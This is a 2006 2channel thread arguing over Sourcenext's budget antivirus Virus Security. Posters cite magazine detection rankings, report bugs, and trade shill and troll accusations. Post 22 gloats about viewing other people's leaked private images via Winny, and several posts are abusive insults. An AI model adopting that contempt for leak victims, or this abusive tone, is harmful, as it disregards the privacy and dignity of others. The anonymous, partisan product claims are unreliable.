5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【ソース】ウイルスセキュリティ Part22【K7】

1 :名無しさん@お腹いっぱい。:2006/07/24(月) 23:23:28
 このスレはソースネクストのウイルスセキュリティについて語るスレです。
アンチも擁護厨も同様に荒らしです。エサを与えてはいけません。

2 :名無しさん@お腹いっぱい。:2006/07/24(月) 23:23:58

[ 公 式 ] http://sec.sourcenext.info/ 
[サポート] http://sec.sourcenext.info/support/vs.html 
[製品情報] http://sec.sourcenext.info/products/vs/ 


3 :名無しさん@お腹いっぱい。:2006/07/24(月) 23:25:11
■過去スレ 
ttp://pc.2ch.net/test/read.cgi/sec/1064846125/ (Part1) 
ttp://pc.2ch.net/test/read.cgi/sec/1068474006/ (Part2) 
ttp://pc.2ch.net/test/read.cgi/sec/1069940448/ (Part3) 
ttp://pc.2ch.net/test/read.cgi/sec/1072845180/ (Part4) 
ttp://pc.2ch.net/test/read.cgi/sec/1073633293/ (Part5) 
ttp://pc3.2ch.net/test/read.cgi/sec/1076215806/ (Part6) 
ttp://pc5.2ch.net/test/read.cgi/sec/1082313491/ (Part7) 
ttp://pc5.2ch.net/test/read.cgi/sec/1090258176/ (Part8) 
ttp://pc5.2ch.net/test/read.cgi/sec/1095983778/ (part9) 
ttp://pc5.2ch.net/test/read.cgi/sec/1101363318/ (Part10) 
ttp://pc8.2ch.net/test/read.cgi/sec/1106488109/ (Part11) 
ttp://pc8.2ch.net/test/read.cgi/sec/1112893941/ (Part12) 
ttp://pc8.2ch.net/test/read.cgi/sec/1119543099/ (Part13) 
ttp://pc8.2ch.net/test/read.cgi/sec/1121074993/ (Part14) 
ttp://pc8.2ch.net/test/read.cgi/sec/1129064808/(Part15) 
ttp://pc8.2ch.net/test/read.cgi/sec/1134682243/(Part16) 
ttp://pc8.2ch.net/test/read.cgi/sec/1136881004/(Part17) 
ttp://pc8.2ch.net/test/read.cgi/sec/1141636441/(Part18) 
ttp://pc8.2ch.net/test/read.cgi/sec/1145847961/(Part19) 
ttp://pc8.2ch.net/test/read.cgi/sec/1150039961/(Part20) 
ttp://pc8.2ch.net/test/read.cgi/sec/1150533882/(Part20)←前スレ


4 :名無しさん@お腹いっぱい。:2006/07/24(月) 23:25:28
ウイルスセキュリティ 万歳

5 :名無しさん@お腹いっぱい。:2006/07/24(月) 23:27:22
無期限っていうのは景品表示法違反でしょ?


6 :名無しさん@お腹いっぱい。:2006/07/24(月) 23:29:52
ハッカージャパン2006年7月号

アンチウイルスソフト最強王座決定戦

取り上げたアンチウイルスソフト

ノートンアンチウイルス2006
ウイルスバスター2006
マカフィーウイルススキャン2006
NOD32アンチウイルス
カスペルスキー
F-Secure インターネットセキュリティ 2006
Panda Titanium 2006
ウイルスセキュリティ
avast! 4
キングソフトインターネットセキュリティ2006
Bit Defender 8
Clam Win


によると
ウイルスセキュリティの検出率はavast! 4の
およそ30%です。
順位は一番下です。


7 :名無しさん@お腹いっぱい。:2006/07/24(月) 23:30:33
うわ、テンプレの最後間違えた。
次に立てる人、直しといて。

8 :名無しさん@お腹いっぱい。:2006/07/24(月) 23:31:57
>>7
嫌だ、無期限に引き継ぎます

9 :名無しさん@お腹いっぱい。:2006/07/24(月) 23:36:22
当たり前で悪いけどZEROスレが落ちたらこっちに統合するんだよな
内容が一緒で期限が違うだけのソフトのスレが分裂していることがなんか異様なんだが

10 :名無しさん@お腹いっぱい。:2006/07/24(月) 23:38:36
>>6
これ嘘だろ、と思って立ち読みしてきた
大体事実だった。信じられないな。オープンソース以下の検出率というのは・・・
ただキングは動かなかったというそれ以上に不名誉な書き方をされていたが

11 :名無しさん@お腹いっぱい。:2006/07/24(月) 23:50:46
>>7
別に間違えてねーだろ

12 :スレ立て人:2006/07/25(火) 00:08:56
>>11
いや、最終行を(Part21)とすべきなのに忘れてた。

13 :名無しさん@お腹いっぱい。:2006/07/25(火) 00:11:10
>>1


14 :名無しさん@お腹いっぱい。:2006/07/25(火) 00:11:26
すまんこ

15 :名無しさん@お腹いっぱい。:2006/07/25(火) 11:45:56
氏ね

16 :名無しさん@お腹いっぱい。:2006/07/25(火) 11:55:36
ハッカージャパン2006年7月号

アンチウイルスソフト最強王座決定戦

取り上げたアンチウイルスソフト

ノートンアンチウイルス2006
ウイルスバスター2006
マカフィーウイルススキャン2006
NOD32アンチウイルス
カスペルスキー
F-Secure インターネットセキュリティ 2006
Panda Titanium 2006
ウイルスセキュリティ
avast! 4
キングソフトインターネットセキュリティ2006
Bit Defender 8
Clam Win


によると
ウイルスセキュリティの検出率はavast! 4の
およそ30%です。
順位は一番下です。

17 :名無しさん@お腹いっぱい。:2006/07/25(火) 22:39:44
ようやく荒らしアンチ厨も消えたようだ。
今後は、ソースネクストのウイルスセキュリティの良さすばらしさをはじめ、
技術的な情報交換や今後ヴァージョンアップに向けてどのような希望があるか
など、

建設的な意見

だけが出てくることを期待してこのスレを続けたい



よいかな?
>皆の衆

18 :名無しさん@お腹いっぱい。:2006/07/26(水) 00:20:24
さっそく荒らし始めやがったか
どうにかならんもんかな、この否定的な意見は許さん的な発言
痛々しいな

19 :名無しさん@お腹いっぱい。:2006/07/26(水) 00:41:16
さっそく18のような「アンチ荒らし厨」が湧き始めたかw

どうにかならんもんかな、この肯定的な意見はつぶしてやる的な発言
痛々しいなwww

20 :名無しさん@お腹いっぱい。:2006/07/26(水) 01:04:21


シリーズご愛用者230万人突破!!


21 :名無しさん@お腹いっぱい。:2006/07/26(水) 01:37:34
>>19
意見というのは右も左も挙げるべきなんだよ
肯定的な意見を潰す気など毛頭無い
が、>>17は否定的な意見は潰したいという意思がありありと見える
お前のような無自覚な荒らしが一番酷い

22 :名無しさん@お腹いっぱい。:2006/07/26(水) 03:52:05
まあなんだな
nyつかいの俺としては、役立たずのおかげで
流失した個人画像が楽しめるから、他人のことはどうでもいい。
流失させた当人はあわてて一流品に換えるから結局ノートンも商売繁盛だ。


23 :名無しさん@お腹いっぱい。:2006/07/26(水) 04:36:41
ノートンが一流品だって!

24 :名無しさん@お腹いっぱい。:2006/07/26(水) 04:55:50
ウイルスセキュリティと比較されればどこのソフトも一級品だ(中華製除く
ノートンが一級か一流かは知らんがWinnyに関してはまぁ国内最大手だしな、そんんもんじゃねーの

25 :名無しさん@お腹いっぱい。:2006/07/26(水) 05:22:59
http://www.symantecstore.jp/products/details/2006/norton2006_nswb_setonly.asp

こういう凄いのもあるぞ

26 :名無しさん@お腹いっぱい。:2006/07/26(水) 05:41:08
>>24
>そんんもんじゃねーの
緊張しましたか?
しかし初工作は一応成功と見なします。
おめでとう。

27 :名無しさん@お腹いっぱい。:2006/07/26(水) 05:50:27
ノートンを知らんやついるのだな

28 :名無しさん@お腹いっぱい。:2006/07/26(水) 07:18:57
工作かどうかはともかくウイルスセキュリティより検出の悪い製品なんてあるのか。

29 :名無しさん@お腹いっぱい。:2006/07/26(水) 07:51:26
>>26
これって煽ってるつもりなんですかね。
信者の荒らし方はいまいちよく分からんな。
頭の悪そうな全角の引用符なんか使って・・・。

30 :名無しさん@お腹いっぱい。:2006/07/26(水) 16:02:55

9.0.0083 キタ*・゜゚・*:.。..。.:*・゜(゚∀゚)゚・*:.。. .。.:*・゜゚・*!!!!!

31 :名無しさん@お腹いっぱい。:2006/07/26(水) 18:14:33
>意見というのは右も左も挙げるべきなんだよ

こいつ自身は、アンチ側荒らし野郎ww

>肯定的な意見を潰す気など毛頭無い

早速つぶしモード全開だけどなww

>が、>>17は否定的な意見は潰したいという意思がありありと見える

てめえ自身は、否定的な意見以外はつぶしたいという意思丸見えww

>お前のような無自覚な荒らしが一番酷い

てめえのような確信犯的荒らしもたいしたもんだ
書いてるのも堅気のまともな人間の書き込める時刻じゃないしなwww


32 :名無しさん@お腹いっぱい。:2006/07/26(水) 19:21:09
信者が発狂されました。
是が非でも不具合について語られたくないようで。

33 :名無しさん@お腹いっぱい。:2006/07/26(水) 19:38:07
↑反論できないアンチの逃げ口上乙

34 :名無しさん@お腹いっぱい。:2006/07/26(水) 20:29:56
>>32
不具合を楽しむのがVSだろがw
>>33
はいはいw

ちなみに9.0.0083は再起動梨なwww

35 :名無しさん@お腹いっぱい。:2006/07/26(水) 20:40:21
>>34
この更新報告がありがたい。
俺のパソは年中休止状態までしか落とさないから
自動アップデートが機能しなくて手動更新だから。

クレクレですまんけどこれからも更新の有無含めてよろ。


36 :名無しさん@お腹いっぱい。:2006/07/26(水) 20:43:28
>名無しさん@お腹いっぱい。 :2006/07/26(水) 03:52:05

22は、典型的なニーとだな
氏ね!

37 :名無しさん@お腹いっぱい。:2006/07/26(水) 20:46:13
>書いてるのも堅気のまともな人間の書き込める時刻じゃないしなwww
夜の一時半は堅気の人間が書き込める時刻じゃありませんか。
そもそも不具合情報以外に出すことなんであるか?
不具合があるからみんなで対処法を考えようといなら分かる。
技術的な情報交換?なにそれ。一例でも挙げて欲しい。
バージョンアップへの希望?そんなもんソースに直接送れよ。

38 :名無しさん@お腹いっぱい。:2006/07/26(水) 20:49:53
本人登場か?おはよう

39 :名無しさん@お腹いっぱい。:2006/07/26(水) 21:14:07
>>37
>バージョンアップへの希望?そんなもんソースに直接送れよ。
そりゃそうだ。

40 :34:2006/07/26(水) 21:18:38
まあ最近はアンチが増えて雰囲気変わっちゃったけど、もともとこのスレは
VSユーザーが不具合を報告しあって、不具合を笑う「VSオチ」スレw
>>37ももう少し余裕持って対応すればw
妙な擁護が湧いてるからよりアンチしたい気持ちはわかるけどな。
もともとの住人も居るんだからw

41 :名無しさん@お腹いっぱい。:2006/07/26(水) 21:22:00
ソフトと関係のない人格への攻撃を開始するのが荒らしの特徴
もう少しVSと関係のある話をしろよ

42 :名無しさん@お腹いっぱい。:2006/07/26(水) 21:23:43
不具合を報告できるスキルならVSを使わないです

43 :名無しさん@お腹いっぱい。:2006/07/26(水) 21:25:22
>>42
そりゃ君、可哀想だな

44 :名無しさん@お腹いっぱい。:2006/07/26(水) 21:46:27

このスレを見れば低価格商品を求める層には低俗が多いってのがよくわかる。

45 :名無しさん@お腹いっぱい。:2006/07/26(水) 22:06:54
その通り!このスレにやってくるチミも含めて全員だな

46 :名無しさん@お腹いっぱい。:2006/07/26(水) 22:31:29
全員に近いが一部の例外はいるだろう

47 :名無しさん@お腹いっぱい。:2006/07/27(木) 01:33:06
ZEROが出てからかな、どうしようもないアンチ&擁護の書き込みが増えたね。
不具合があったらソースを叩き、トラブルを抱えた人に親切にアドバイス
をするような普通のスレになって欲しいと思う今日この頃。

48 :名無しさん@お腹いっぱい。:2006/07/27(木) 02:34:42
サポートが機能してないから、しょうがないですよね。

49 :名無しさん@お腹いっぱい。:2006/07/27(木) 03:42:05
>>47
同意。アンチVS擁護の罵り合いは勘弁して欲しい。
両方低次元なんだが、それぞれ自分らが上だと思ってるから激痛。

50 :名無しさん@お腹いっぱい。:2006/07/27(木) 04:55:38
両方低次元なんだが、真実は
>>16
である

51 :名無しさん@お腹いっぱい。:2006/07/27(木) 11:47:07
>>47
工作員が必死になって荒らしてるから無理

52 :名無しさん@お腹いっぱい。:2006/07/27(木) 12:29:22
>>51
そういうあなたも そーす工作員


53 :名無しさん@お腹いっぱい。:2006/07/27(木) 16:13:47
約3ヶ月使用で不具合無し。(ノートンからなので軽すぎて不安にはなったが・・・)
もう少し待ってZEROにすれば良かった。

54 :名無しさん@お腹いっぱい。:2006/07/27(木) 16:39:00
>>53
安心しろ、俺は5ヶ月目に不具合が出た。

55 :名無しさん@お腹いっぱい。:2006/07/27(木) 16:48:24
>>54
どんな不具合が出たの?

56 :名無しさん@お腹いっぱい。:2006/07/27(木) 17:23:57
>>54
windows update中にエラーが出て(詳細は忘れた)、システム防御が有効にならなくなった。
サポートに問い合わせても「入れなおせ」「リカバリー」としか回答してこないからやめた。
今はファイヤーウォールはマカフィー(ISP無料提供)、アンチウィルスはカスペルスキー試用版使ってる。

57 :名無しさん@お腹いっぱい。:2006/07/27(木) 19:21:16
● ● セキュリティ板 に常駐のみなさんに お知らせ!! ● ●


ついに・・・
ついに、
ソースネクストの誇る
「ウイルスセキュリティZERO」が
価格.comのランキングにおいて、

「堂々の1位」を獲得しました!!


ありがとう、ありがとう

そして、これからもよろしく!!


58 :名無しさん@お腹いっぱい。:2006/07/27(木) 20:19:57
VSのアップデートが2時間以上かかっても終わらずサポートに電話したら
「電源を落とし、再起動後アップデートを行ってください」との回答

再起動したら「DLLが見つからない」と言うエラーが連発、再度サポートに電話したら
「アンインストールしてインストールし直してください」

アンインストールしようとしたら・・・「構成ファイルが見つからないため起動に失敗しました」の
メッセージ・・・これってやっぱりウィルスかなにかにやられちゃったんでしょうか?


最後の件について問い合わせを行ったところ、安心サービスを教えてもらいました。

59 :名無しさん@お腹いっぱい。:2006/07/27(木) 21:11:05
ランキングを操作する為にさくらが活躍してない
と思うけど・・・

60 :名無しさん@お腹いっぱい。:2006/07/27(木) 21:26:54
俺が心配なのは「堂々の1位」に飛びつく客を見て
よそが品質の悪いものをさらなる低価格で拡販する可能性だ

61 :名無しさん@お腹いっぱい。:2006/07/27(木) 23:17:50
>>60
おまえが心配せんでいい。
おまえは自身が最高だと思い込んでいるソフトを使って黙ってろ。

62 :名無しさん@お腹いっぱい。:2006/07/27(木) 23:43:39
業界全体に悪影響を与えかねんからなぁ、感染したら被害を拡大させる中継地点にもなりかねない
安いだけに目がくらんだ消費者を騙す悪徳商法はいい加減幕を降ろして欲しい物だが

63 :名無しさん@お腹いっぱい。:2006/07/28(金) 00:28:23
お前の人生の幕も降ろせよ

64 :名無しさん@お腹いっぱい。:2006/07/28(金) 01:33:31
信者の切れ方って毎回人格攻撃だね。

65 :名無しさん@お腹いっぱい。:2006/07/28(金) 05:14:42
報告します。誤検知発生!
SpreadCEっていうCE用のソフトをウィルスと判定。ノートン、バスタ等々では反応なし。VSによれば「疑しいプログラムと認識されました。」だそうです。アホ認定!

66 :名無しさん@お腹いっぱい。:2006/07/28(金) 05:57:44
おまえもアホっぽいな。

67 :名無しさん@お腹いっぱい。:2006/07/28(金) 06:25:15
そしてまた人格攻撃
内容で反論できなくなったらこれ

68 :名無しさん@お腹いっぱい。:2006/07/28(金) 06:51:29
また阿呆が来てるよ・・・

69 :名無しさん@お腹いっぱい。:2006/07/28(金) 07:36:37
誤検出したという話が出たらその発言者をアホ扱いとかここの信者は頭がどうかしてるんですか?

70 :名無しさん@お腹いっぱい。:2006/07/28(金) 11:50:36
>>69
単純に書き込み方がアホだからだろ。

71 :名無しさん@お腹いっぱい。:2006/07/28(金) 13:00:30
元々検出率が悪いのに ( >>16 )
その上誤検出では、書き込み方がアホでもしょうがない。



72 :名無しさん@お腹いっぱい。:2006/07/28(金) 18:23:41
人格攻撃とやらも、手詰まりしたアンチ荒らしの自演丸出しだな
よっぽど、このスレを大嵐状態にしたいらしい

73 :名無しさん@お腹いっぱい。:2006/07/28(金) 19:50:25
アンチ荒らしねぇ・・・そんなに顔真っ赤にするぐらいならソフトの内容について話でも振ったらどうだ?
値段やシェアの話はもう飽き飽きなんだがね

74 :名無しさん@お腹いっぱい。:2006/07/28(金) 20:13:10
>そんなに顔真っ赤する

ぷはは、そりゃ安置君のほうじゃねえか
ヒマな安置がまずネタ情報をばらまくんだよな
やれやれ、もうネタはもう飽き飽きなんだがね

75 :名無しさん@お腹いっぱい。:2006/07/28(金) 21:25:46
>>58
俺のPCも1台同じ症状になった。
サポートの回答も同じだった。

一緒に安心サービス利用してみねぇ?

76 :名無しさん@お腹いっぱい。:2006/07/28(金) 22:22:39
>ぷはは、そりゃ安置君のほうじゃねえか
こりゃ酷い真っ赤具合ですね。
真っ赤じゃないならレス不要。

77 :名無しさん@お腹いっぱい。:2006/07/28(金) 22:34:20
>真っ赤じゃないならレス不要。

プッ、人のこと言えないじゃん、ゆでアンチダコくん


78 :名無しさん@お腹いっぱい。:2006/07/28(金) 22:44:47
ウイルスセキュリティが売れるのがよっぽど気に食わないのだろうが、
いくらアンチ工作をしても
荒らしているのがアンチ側であることは見る人が見ればすぐに分かる。
現に、今も売り上げは絶好調だしね。
いい加減に、頭を冷やした方がいいよ。


79 :名無しさん@お腹いっぱい。:2006/07/28(金) 23:20:24
もういい加減ソフトの話をしてくれねえかな。
どこが売れてようがどうでもいいんで。

80 :名無しさん@お腹いっぱい。:2006/07/28(金) 23:55:28
性能自体は、必要十分なレベルではないか?
2006以降は大勢使っているから、心強い。
このスレがまともに機能すれば、不具合が出ても互いに情報交換しあって、
トラブル回避も期待できる。
二言目には、使うなとか、返品しろとか
ヒステリックな解決案?はやめて欲しいね。

81 :名無しさん@お腹いっぱい。:2006/07/29(土) 00:25:31
価格的には今の時点では十分魅力的だが、
変化の早い今の世の中すぐに飛びつかなくてもいいんじゃないかな?
考え方も変わるし、スキルも向上するし、UGな遊びもしたくなる。
各社の体験版も試したくもなる人もいる。
様々な選択も新たな手段だ。
10年間同じなんてつまんないね。
VS選ぶのは勝手だけどね。


82 :名無しさん@お腹いっぱい。:2006/07/29(土) 01:09:03
>>80-81
この二人でほぼ結論が出たな。
低レベルor普通の人(俺とかw)には正直VSでも十分。
交通事故レベルすら防ぎたい、って奴はノートンなりMODなりにすればいい。

SP雇わなきゃ散歩も出来ない奴はただの臆病者だ。

83 :名無しさん@お腹いっぱい。:2006/07/29(土) 01:24:17
>>82
お前は明らかに低レベルの方だよ
ネットに接続することとただの散歩を同列視してる時点でかなり痛い
MODでも使った方がいい

84 :名無しさん@お腹いっぱい。:2006/07/29(土) 01:44:02
ふ〜ん。じゃあ一般人はなおさらネットやるもんじゃないな。
PCオタとかアングラな奴しか入り込めない領域なんだな、ネットって。

85 :名無しさん@お腹いっぱい。:2006/07/29(土) 02:00:42
痛いのはSP=アンチウイルスとしてることだわな。
ていうか単なる馬鹿。どっちがどうじゃない。まったく別次元のもの。比較にならない。

86 :名無しさん@お腹いっぱい。:2006/07/29(土) 02:03:53
「WORM_ANTINNY.BJ(通称ドクロウイルス)」
に感染したんですけど仕様ですか?ウイルスバスターで見つけた

87 :名無しさん@お腹いっぱい。:2006/07/29(土) 02:04:54
まあなんだな
大手は販促の資料に>>16
のような公正なデータを客観的に表示するだろうから
安全性を厳しくとるユーザーにはVSは厳しいな

88 :名無しさん@お腹いっぱい。:2006/07/29(土) 02:24:03
安全性を無視しても
変化の早い今の世の中すぐに飛びつかなくてもいいんじゃないかな?
10年間同じなんてつまんないね。



89 :名無しさん@お腹いっぱい。:2006/07/29(土) 02:38:04
>>84
お前ちょっと頭おかしいぞ。散歩の方が危険に決まってるだろ。
ネット接続を散歩に例えたならその主体はなんだ?パソコンと人間だろう。
散歩をする人間が危険ではないのは人間には注意力や危険予測判断力が備わっているからだ。
パソコンにはその判断力がないからアンチウイルス等が必要になる。
お前は判断力が欠如した人間が散歩をする際に介護人を添わせることを臆病と言っている。
冗談も大概にしておけ。

90 :名無しさん@お腹いっぱい。:2006/07/29(土) 03:04:08
そういえば市販されてるPCでウイルスセキュリティ体験版を
バンドルしているところって、どこもないじゃない!
だから糞っていわれるんだよ。

91 :名無しさん@お腹いっぱい。:2006/07/29(土) 03:09:07
価格comやアマゾンでの評価は工作員だやらせだサクラだの
徹底的に疑り深い人たちが>>16だけは妄信的に絶対視するのは
何故なのでしょうか?
世の中の雑誌には提灯記事が溢れかえっているのに…

92 :名無しさん@お腹いっぱい。:2006/07/29(土) 03:15:02
他のスレ見て確かにって思ったのが
お前ら10年も初心者でいるつもりか
というの
まさに後ろ向きな初心者だな

93 :名無しさん@お腹いっぱい。:2006/07/29(土) 03:21:27
>>91
評価ではなく数字だから。
数字が捏造だと思うなら根拠でも述べろ。

94 :名無しさん@お腹いっぱい。:2006/07/29(土) 03:21:48
>>91 >>87 に反応ですか?

影響の有るスポンサーからの広告収入を受けてないから

95 :名無しさん@お腹いっぱい。:2006/07/29(土) 03:29:22
なるほど。
影響のあるスポンサーからの広告収入がない場合の
データは絶対的に信用できるという事ですね。
これで騙されずに済みそうです。
ありがとうございました。

96 :名無しさん@お腹いっぱい。:2006/07/29(土) 03:35:52
>>89
>お前は判断力が欠如した人間が散歩をする際に介護人を添わせることを臆病と言っている。
素人だからこそ自分が素人だって事くらいは自覚してるさ、大抵の人は。
危ないサイトなんか踏んだら自己責任、そういう事しない一般レベルで語ったつもりだったんだがな。

今氏マンテックのオンラインスキャン試したけどいくつか感染してるとかでて
「おいおい大丈夫かよ・・・」と恐る恐る結果見たら何てこたない、
ギコナビを誤検出しまくってただけだった。

つー訳でP2Pとか危ないことしない限りは大丈夫のようだよ。
VSで死亡確定なんておまえらどんな危ない橋渡ってるのかと(ry

97 :名無しさん@お腹いっぱい。:2006/07/29(土) 03:37:58
http://www.byakuya-shobo.co.jp/hj/info3.html
そのかわり年6回 価格\1800 発行部数もすくない

98 :名無しさん@お腹いっぱい。:2006/07/29(土) 03:49:02
この期に及んでWinnyの使い方の特集を組むような
モラルのない雑誌だったとは…

99 :名無しさん@お腹いっぱい。:2006/07/29(土) 03:49:13
よほど  >>87  がひっかかったようだ

100 :名無しさん@お腹いっぱい。:2006/07/29(土) 03:53:11
モラルのないのは「無期限」の御方

101 :名無しさん@お腹いっぱい。:2006/07/29(土) 04:19:34
>>96
MODの次は今氏か。
ギコナビを誤検出?アホか、ログだろ。

102 :名無しさん@お腹いっぱい。:2006/07/29(土) 04:24:08
>>95
皮肉になってない。
反論があるなら根拠を述べなくては。
なぜお前はそのデータが信用ならないのか、その根拠をさっさと述べたまえ。
>>98
モラルがなかったらデータの信憑性もないとでも?
意地でもこの都合の悪い数字を信じたくないらしいな。

103 :名無しさん@お腹いっぱい。:2006/07/29(土) 04:45:52
アンチだったらモラルのない雑誌なら有力ベンダーから
裏金を貰ってランキング操作ぐらいはすると疑いたくもなるかもよ?
根拠はなくとも。

104 :名無しさん@お腹いっぱい。:2006/07/29(土) 04:53:29
逆だよモラルのある雑誌だから数値で示したのさ
双方からこういう反論がでるからね

105 :名無しさん@お腹いっぱい。:2006/07/29(土) 05:58:22

    /\___/ヽ. 
   / 、,  ノ_ ヽ,,._,. \
  . |.  ≦゚≧,ミ::,≦゚≧ ::|
  |    ⌒( ._.)⌒  ::::|  糞くさい !
.   |  (,,,,,,,,,,人,,,,,,,_ノ .::|   
   \. ヽ 王王王ツ ::/ 
   /`ー‐--‐‐―´\



106 :名無しさん@お腹いっぱい。:2006/07/29(土) 08:28:51
>>103
はいはい、で、裏金を出したのはどこですか?
結果はご存じ? 検出一位はカスペ、総合一位はNOD32
ライフボードかキヤノンが出したとでも?
どちらも裏金工作をしないでもトップを取れる世界的評価の高いソフトですね
何がランキング操作だよ。そんなもんは疑いじゃなくて妄想でしかない
VSこそ検出が最低なくせに安定性と値段と設定のし易さで総合順位が跳ね上がってんだよ。そっちの方が怪しいわ

107 :名無しさん@お腹いっぱい。:2006/07/29(土) 08:51:33
追記するとノートンとバスターより総合評価が高いんだね、ウイルスセキュリティは
これは裏金を貰って総合評価のランキングを操作した疑いがあるかもしれません

と考えるのと同じだな
蓋を開けてみればVSの方がよいしょされていたという現実

108 :名無しさん@お腹いっぱい。:2006/07/29(土) 12:13:54
本当にどうしようもなければ3番手なんかにいないってば。
食ったら体調崩すような毒キノコをいくらうまく(自演までして)宣伝しても売れないでしょ。

109 :名無しさん@お腹いっぱい。:2006/07/29(土) 13:13:22
宣伝を擁護する奴にロクな奴はいない
ユーザーの立場の発言じゃねえからな

110 :名無しさん@お腹いっぱい。:2006/07/29(土) 18:23:00
みんな必死だなあ。

111 :名無しさん@お腹いっぱい。:2006/07/29(土) 18:31:24
このレベルなら無料のセキュリティソフトをつかったほうがよいと思うが。
甘いセールストークほど高いものはないよ。


112 :名無しさん@お腹いっぱい。:2006/07/29(土) 18:32:20
無料ほど高くつくものは、ない・・・・

113 :名無しさん@お腹いっぱい。:2006/07/29(土) 19:29:25
>>112
あれは結局無駄になる、裏があるって意味なんだがな・・・
意味をちゃんと理解してるか?

114 :名無しさん@お腹いっぱい。:2006/07/29(土) 20:03:23
>>113 その意味を kwsk

115 :名無しさん@お腹いっぱい。:2006/07/29(土) 21:23:16
>>114
意味は既に書いてあるのにさらに詳しく書けというキチガイ。
諺辞典でも開いてろ。VSに関係ないどうでもいいことを引きずるなクズ。

116 :114:2006/07/29(土) 21:29:03
いゃー。僕はVSの方が結局お金が無駄になると思いましてね。
無期限には使えないし。

117 :名無しさん@お腹いっぱい。:2006/07/29(土) 23:52:14
別に4千円は安くないしな

118 :名無しさん@お腹いっぱい。:2006/07/30(日) 03:10:44
特殊なアプリのexeとかをDLしたらウイルスセキュリティは
誤認検知するケースはあるの?

119 :名無しさん@お腹いっぱい。:2006/07/30(日) 13:50:21
>あれは結局無駄になる、裏があるって意味

だから何だ?
フリーなんか使い物にならなくて「結局無駄になる」
インスコしたら勝手に個人情報抜かれる「裏がある」って
ことだろ?
お前こそ「意味をちゃんと理解してるか?」


120 :名無しさん@お腹いっぱい。:2006/07/30(日) 15:29:46
>>119
結局同じことに気づけ。
有料だろうが無料だろうが「無駄になる」のは同じ。
VSの方が金を払っているのでより無駄になる。
個人情報を抜かれるのはお前のでっちあげた妄想でしかないが
フリーだから、とはまったく因果関係が無くVSでも抜かれる可能性はある。
中身を理解しろ。

121 :名無しさん@お腹いっぱい。:2006/07/30(日) 15:43:13
>VSの方が金を払っているのでより無駄

ンなことフリーと同様に役に立たない前提でのハナシだろ?
アンチ工作情報以外では立派に役立っているな

>個人情報を抜かれるのはお前のでっちあげた妄想でしかない

妄想乙

122 :名無しさん@お腹いっぱい。:2006/07/30(日) 15:48:22
そんなにフリーがいいのなら、このスレに来なきゃいいのにねえ、フー
結局、荒らしたいからわざわざ出張してくるんだよな、アンチ荒らしたちは

123 :名無しさん@お腹いっぱい。:2006/07/30(日) 16:11:46
>>121
喚くなら個人情報を抜かれる証拠でも挙げろよ

124 :名無しさん@お腹いっぱい。:2006/07/30(日) 16:22:51
金も情報も差し出さずに、ガードだけしてもらえると思っている虫のいい123w

125 :名無しさん@お腹いっぱい。:2006/07/30(日) 16:43:01
>>124
フリーのアンチウイルスは宣伝広告媒体。馬鹿ですか?
つーかお前のパソコンにはフリーソフトがひとつも入ってないのか。おめでたいパソコンだな。

126 :名無しさん@お腹いっぱい。:2006/07/30(日) 17:36:04
あわててマタ聞き話にすり替える、金なくてフリーしか使えない125

127 :名無しさん@お腹いっぱい。:2006/07/30(日) 17:42:39
ここに来るアンチ荒らしは、要するに有料ソフトが買えない訳か

128 :名無しさん@お腹いっぱい。:2006/07/30(日) 17:58:31
PC Japan 12月号によるウィルスの検出率

ノートン--------------18,389
マカフィー------------18,262
ウィルスバスター------17,609
キング---------------11,908
ウイルスセキュリティ----6,233

129 :名無しさん@お腹いっぱい。:2006/07/30(日) 20:20:32
>>127

×有料ソフトが買えない訳
○ウイルスセキュリティが買えない訳

130 :名無しさん@お腹いっぱい。:2006/07/30(日) 20:23:40
>>129
なるほど、アンチ荒らしクンは、ウイルスセキュリティを買いもせずに
叩くことに血道を上げている訳ね

131 :名無しさん@お腹いっぱい。:2006/07/30(日) 20:40:14
あれ?
>>128が見えない。

VSは軽いし最高!!

132 :名無しさん@お腹いっぱい。:2006/07/30(日) 20:53:26
こんなの買うなら無料のZoneAlarm+AVGその他の方がいいぞ

133 :名無しさん@お腹いっぱい。:2006/07/30(日) 20:59:49
また「検出率」か・・・
どういうウイルスが出てきているか不明だが
ウイルス検体数上位6000で実際の9割を占めるなら残りの数千はさほどの意味をもたない
その程度の差があれほどの価格差を吸収するか、大いに疑問
まあ数値が全てのヤツには理解できないだろうが


134 :名無しさん@お腹いっぱい。:2006/07/30(日) 21:02:31
まあ、「通」ぶる奴は、いいと思うならフリーを使って自滅すればいいしw

135 :名無しさん@お腹いっぱい。:2006/07/30(日) 21:10:47
通とかじゃなくて、金払うならノートンその他の有名どころだろう
何が悲しくてこんな糞会社の製品を買わんといかんのだ

136 :名無しさん@お腹いっぱい。:2006/07/30(日) 21:14:35
>何が悲しくてこんな

スレに135は来るのでしょう?

答え・・・荒らしにw

137 :名無しさん@お腹いっぱい。:2006/07/30(日) 22:06:33

>>133
もっともらしい理屈をいっているように見えるが、

http://ratan.dyndns.info/avast4/2006ex.html

亜種や新型に対応しきれてないじゃん。


138 :名無しさん@お腹いっぱい。:2006/07/31(月) 00:32:23
こんな匿名性の高い掲示板でなに言っても信用ない

139 :名無しさん@お腹いっぱい。:2006/07/31(月) 00:59:01
おまえ本当に馬鹿だね
「匿名性の高い掲示板でなに言っても信用ない」 から
出所のはっきりしたデータを見て
VSは最下位だと言っているのではないか

140 :名無しさん@お腹いっぱい。:2006/07/31(月) 01:04:57
つーか紹介してるだけで言ってるのはリンク先や雑誌の方じゃねーの

141 :名無しさん@お腹いっぱい。:2006/07/31(月) 01:10:00
だから何?

142 :名無しさん@お腹いっぱい。:2006/07/31(月) 01:49:53
>>141
つまりいくらお前が吠えたところで反証にならないってこと。

143 :名無しさん@お腹いっぱい。:2006/07/31(月) 02:14:44

「匿名性の高い掲示板でなに言っても信用ない」 から
出所のはっきりしたリンク先や雑誌データを示して
VSは最下位だと反証できたではないか


144 :名無しさん@お腹いっぱい。:2006/07/31(月) 02:17:23
ZEROスレでも書いたけど、別にファイル共有とかアフォな事してなきゃ
そうそう新種のウイルスなんか入ってこんだろって思うんだが・・・
事が派手になったらそこらで感染する可能性もあるが
その頃には流石に対応出来ると思うし。

てか、なんでそんなにウイルスにやられるの?って感じ。
普通にサイト巡りや知人・企業からのメール開く限りでは全然影響ないんだが。
俺だけがラッキーなだけなんて絶対無いし(スパイウェアだけはSpybotで対応してるが)
やばい事やってるならそれ前提で安全性語られてもなぁとか思う。

